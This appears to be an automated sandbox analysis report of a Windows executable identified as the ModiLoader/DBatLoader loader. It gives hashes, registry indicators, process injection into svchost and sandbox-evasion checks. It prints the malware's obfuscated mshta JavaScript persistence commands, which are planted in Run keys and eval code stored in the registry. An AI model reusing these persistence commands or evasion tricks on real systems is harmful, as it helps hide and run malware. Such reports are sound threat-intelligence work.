Analysis
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max time kernel
152s -
max time network
172s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
01-10-2022 23:21
Static task
static1
Behavioral task
behavioral1
Sample
c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe
Resource
win7-20220812-en
windows7-x64
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
13 signatures
150 seconds
General
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Target
c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe
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Size
375KB
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MD5
530f2ee4cf4c3251c35c012d94641fe0
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SHA1
a780f6a81b5747efc3fe0d27b19f663ee09d368d
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SHA256
c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f
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SHA512
66089cad2a1c97b098e1f67d3d05a7876e1c789123b083e898c3cdc6e8018be4a4aa67ae60f946a6fc783bfde9514a5ecd05bdc55f9fac599d6ed504cf630804
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SSDEEP
6144:94L7ulgSVrVyTR8D9TCA5z2uGw2xPk60Ddig5VaC4IGR8L6IgpgtxW:OPulgSVrhstoZKpOL6ISgt4
Score
10/10
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions svchost.exe -
ModiLoader Second Stage 7 IoCs
resource yara_rule behavioral1/memory/1620-56-0x0000000000400000-0x0000000000462000-memory.dmp modiloader_stage2 behavioral1/memory/1124-60-0x0000000000080000-0x000000000013C000-memory.dmp modiloader_stage2 behavioral1/memory/1984-64-0x0000000000080000-0x000000000013C000-memory.dmp modiloader_stage2 behavioral1/memory/1124-65-0x0000000000080000-0x000000000013C000-memory.dmp modiloader_stage2 behavioral1/memory/1492-70-0x00000000000D0000-0x000000000018C000-memory.dmp modiloader_stage2 behavioral1/memory/1492-71-0x00000000000D0000-0x000000000018C000-memory.dmp modiloader_stage2 behavioral1/memory/1984-72-0x0000000000080000-0x000000000013C000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:xfra5VqW=\"Z\";e7b8=new%20ActiveXObject(\"WScript.Shell\");RQMu7NTa=\"L5TYf1f\";SeRq1=e7b8.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\3a54f208\\\\b0c17c9d\");MR0BWcH2=\"TL9ypMRm\";eval(SeRq1);Fr6qO1IJ=\"XoFno3\";" svchost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools svchost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion svchost.exe -
Deletes itself 1 IoCs
pid Process 1124 svchost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:aYVV0MOC=\"FOHtN9\";P7J=new%20ActiveXObject(\"WScript.Shell\");uYATc4kf=\"1C31\";w0o6kL=P7J.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\3a54f208\\\\b0c17c9d\");xnMtnH9L9L=\"u\";eval(w0o6kL);ov6oUCQDU5=\"6eQbJWOD\";" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:FjuMC5e5Ko=\"u14\";l4M=new%20ActiveXObject(\"WScript.Shell\");GBeoyL8=\"AJ9vW81c\";t8DvY=l4M.RegRead(\"HKCU\\\\software\\\\3a54f208\\\\b0c17c9d\");AVngzw7G7=\"VFQxon\";eval(t8DvY);B7qyrOjAN5=\"JfhgfdY\";" svchost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 svchost.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\International svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" svchost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl svchost.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe 1124 svchost.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1620 wrote to memory of 1124 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 27 PID 1620 wrote to memory of 1124 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 27 PID 1620 wrote to memory of 1124 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 27 PID 1620 wrote to memory of 1124 1620 c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe 27 PID 1124 wrote to memory of 1984 1124 svchost.exe 28 PID 1124 wrote to memory of 1984 1124 svchost.exe 28 PID 1124 wrote to memory of 1984 1124 svchost.exe 28 PID 1124 wrote to memory of 1984 1124 svchost.exe 28 PID 1124 wrote to memory of 1492 1124 svchost.exe 29 PID 1124 wrote to memory of 1492 1124 svchost.exe 29 PID 1124 wrote to memory of 1492 1124 svchost.exe 29 PID 1124 wrote to memory of 1492 1124 svchost.exe 29
Processes
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C:\Users\Admin\AppData\Local\Temp\c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe"C:\Users\Admin\AppData\Local\Temp\c9791ebf6583c6da943487e6f20b27022a6fd83dbb2b77a676dc53ded9a00d5f.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\SysWOW64\svchost.exe"svchost.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\SysWOW64\svchost.exe"C:\Windows\SysWOW64\svchost.exe"3⤵PID:1984
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C:\Windows\SysWOW64\explorer.exe"explorer.exe"3⤵PID:1492
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